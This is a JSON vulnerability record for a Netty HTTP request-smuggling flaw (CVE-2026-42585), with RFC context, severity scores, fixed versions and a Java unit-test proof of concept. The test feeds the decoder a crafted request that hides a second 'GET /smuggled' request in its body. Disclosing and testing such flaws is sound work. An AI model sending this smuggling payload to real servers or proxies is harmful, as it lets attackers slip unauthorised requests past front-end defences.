{"id":"CVE-2026-42585","aliases":["GHSA-38f8-5428-x5cv"],"url":"https://o3.security/vulnerability/CVE-2026-42585","summary":"Netty: HTTP Request Smuggling due to malformed Transfer-Encoding","details":"### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn't reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests","published":"2026-05-13T18:12:39.586Z","modified":"2026-10-28T02:30:32.189809330Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":{"score":0.00248,"percentile":0.15852,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.netty:netty-codec-http","fixedVersion":"4.2.13.Final"},{"ecosystem":"Maven","name":"io.netty:netty-codec-http","fixedVersion":"4.1.133.Final"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42585.json"},{"type":"ADVISORY","url":"https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585"},{"type":"WEB","url":"https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:32.189809330Z"}}